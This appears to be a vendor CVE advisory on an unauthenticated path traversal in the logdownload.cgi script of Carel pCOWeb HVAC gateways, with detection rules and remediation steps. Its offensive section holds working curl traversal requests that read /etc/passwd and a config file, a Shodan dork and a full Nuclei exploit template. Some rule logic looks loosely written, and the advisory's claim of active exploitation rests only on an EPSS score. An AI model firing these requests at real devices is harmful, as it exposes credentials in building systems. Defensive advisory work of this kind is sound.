CVE-2022-37122

Executive Summary

CVE-2022-37122 is a critical unauthenticated path traversal vulnerability in the Carel pCOWeb HVAC BACnet Gateway firmware version 2.1.0. The flaw resides in the logdownload.cgi Bash script, which fails to properly validate the file GET parameter, allowing an attacker to read arbitrary files from the device's filesystem via directory traversal sequences (e.g., ../../../../../../../../etc/passwd). This vulnerability can lead to the disclosure of sensitive configuration files, credentials, and HVAC system data, potentially enabling further attacks on building management systems. The CVSS v3.1 base score is 7.5 (High), and a public proof-of-concept (PoC) exists via a Nuclei template. No official patch has been released by Carel as of the latest advisory.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded device (Carel pCOWeb HVAC BACnet Gateway) and its firmware. The risk is primarily to building automation and HVAC systems in critical infrastructure environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Arbitrary file read, including sensitive data.
• Integrity Impact: None (I:N) – No file modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can expose critical system files (e.g., /etc/passwd, configuration files, credentials). The EPSS score of 0.70933 (98.7th percentile) indicates active exploitation in the wild.

Deep Dive & Mechanics

The vulnerability exists in the logdownload.cgi CGI script, which is intended to allow downloading log files from the pCOWeb device. The script accepts a file GET parameter and uses it to construct a file path without proper sanitization. Specifically, the script does not check for directory traversal sequences (e.g., ../) or restrict the base directory. An attacker can supply a path like ../../../../../../../../etc/passwd to read arbitrary files outside the intended log directory.

The underlying issue is a classic path traversal (CWE-22) caused by insufficient input validation. The script likely uses a shell command (e.g., cat $file) or a file read function that does not normalize the path. Since the script runs with the privileges of the web server (often root or a privileged user), the attacker can read any file the device can access.

Attack Flow:

1. Attacker identifies a Carel pCOWeb device (e.g., via Shodan dork title:"pCOWeb").
2. Sends a GET request to /usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd.
3. The server responds with the contents of /etc/passwd, revealing user accounts.
4. Attacker can then read other sensitive files (e.g., /etc/shadow, configuration files, SSH keys).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

#!/bin/bash
# logdownload.cgi (vulnerable)
file=$QUERY_STRING
# No validation of file parameter
cat /var/log/pcoweb/$file

Patched Code (Conceptual):

#!/bin/bash
# logdownload.cgi (patched)
file=$QUERY_STRING
# Validate and sanitize path
if [[ "$file" =~ ^[a-zA-Z0-9._-]+$ ]]; then
    cat /var/log/pcoweb/$file
else
    echo "Invalid file parameter"
fi

The patched version restricts the file parameter to alphanumeric characters, dots, underscores, and hyphens, preventing directory traversal. Alternatively, a proper path normalization function (e.g., realpath) could be used.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: Carel pCOWeb HVAC BACnet Gateway with firmware 2.1.0.
• Network access to the device's web interface (typically port 80).

Exploitation Steps:

1. Reconnaissance: Use Shodan or Nmap to find vulnerable devices.

   nmap -p 80 --script http-title <target>
   

2. Direct Exploit: Send a crafted HTTP request using curl.

   curl "http://<target>/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"
   

3. Automated Exploit: Use the provided Nuclei template.

   nuclei -t CVE-2022-37122.yaml -u http://<target>
   

4. Advanced Exploitation: Read configuration files for credentials.

   curl "http://<target>/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/config/pcoweb.conf"
   

Nuclei Template (from Hacker Arsenal):

id: CVE-2022-37122

info:
  name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Path Traversal
  author: gy741
  severity: high
  description: |
    Carel pCOWeb HVAC BACnet Gateway 2.1.0 contains an unauthenticated arbitrary file disclosure caused by improper verification of the 'file' GET parameter in logdownload.cgi, letting attackers disclose sensitive files via directory traversal, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Carel pCOWeb HVAC BACnet Gateway through directory traversal in the logdownload.cgi file parameter, potentially exposing sensitive configuration files, credentials, and HVAC system data.
  remediation: |
    Update Carel pCOWeb HVAC BACnet Gateway to a version later than 2.1.0 that properly validates file paths in logdownload.cgi.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php
    - https://www.zeroscience.mk/codes/carelpco_dir.txt
    - https://packetstormsecurity.com/files/167684/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37122
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-37122
    cwe-id: CWE-22
    epss-score: 0.70933
    epss-percentile: 0.98715
  metadata:
    max-request: 1
    vendor: carel
    product: pcoweb_hvac_bacnet_gateway
  tags: cve,cve2022,carel,lfi,traversal,unauth,bacnet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing logdownload.cgi with file= parameters containing ../ or ..%2f.
• Use the detection rules provided in the Detection Engineering section.

Honeypot:

• Deploy a fake pCOWeb endpoint that logs all requests and alerts on path traversal attempts.

Mitigation:

• If patching is not possible, implement a WAF rule to block directory traversal patterns in the file parameter.
• Restrict network access to the device's web interface to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd or similar traversal patterns.
  • Outbound connections from the device to unknown IPs (if attacker exfiltrates data).
• File IOCs:
  • Unauthorized access to /etc/passwd, /etc/shadow, /etc/config/pcoweb.conf, or other sensitive files.
• System IOCs:
  • Unexpected log entries in /var/log/pcoweb/ showing file read attempts outside the log directory.

Detection Engineering

YARA Rule

rule CVE_2022_37122_Carel_pCOWeb_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Carel pCOWeb logdownload.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-37122"
        hash = "4a0a004730450220714882d5d5c0db141c6e0b456a2df0b57c8c532ae914187eb8e58d797b23efcc02210094e297ddc7cfc7f42d645fc3cdd52246ea24ff6fd06fed501f04856726f3c747"
    strings:
        $traversal1 = "logdownload.cgi?file="
        $traversal2 = "../"
        $traversal3 = "..%2f"
        $traversal4 = "..%5c"
        $sensitive = "/etc/passwd"
    condition:
        $traversal1 and any of ($traversal2, $traversal3, $traversal4) and $sensitive
}

Sigma Rule

title: Carel pCOWeb Path Traversal Attempt
id: 7b8f3a2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2022-37122 for path traversal on Carel pCOWeb devices.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37122
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'logdownload.cgi?file='
            - '../'
            - '..%2f'
            - '..%5c'
    condition: selection
falsepositives:
    - Legitimate log file downloads (if any) that use similar patterns but are rare.
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2022.37122

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-37122 Carel pCOWeb Path Traversal Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"logdownload.cgi"; http_uri;
    content:"file="; http_uri;
    pcre:"/\.\.\//i";
    reference:cve,2022-37122;
    reference:url,https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update the Carel pCOWeb firmware to a version later than 2.1.0 if available. Contact Carel support for the latest firmware.
2. Workaround: If patching is not possible, implement a Web Application Firewall (WAF) rule to block requests containing logdownload.cgi with directory traversal patterns (e.g., ../, ..%2f).
3. Network Segmentation: Restrict access to the pCOWeb web interface to trusted management networks only (e.g., via firewall rules or VPN).
4. Disable Unused Services: If log download functionality is not required, disable the logdownload.cgi script or remove it from the web server.

Long-Term Measures:

• Conduct a security audit of all Carel pCOWeb devices in the environment.
• Implement input validation for all CGI parameters, especially file paths.
• Use a chroot jail or containerization for web-facing services to limit file system access.

Valters IT Signature:

Valters IT Cyber Threat Intelligence
CVE-2022-37122 Analysis
Date: 2025-04-10
Classification: High Severity
Status: Unpatched

{/* [Security Hash: 8354EFC9E8CE76E7B20BF80B] */}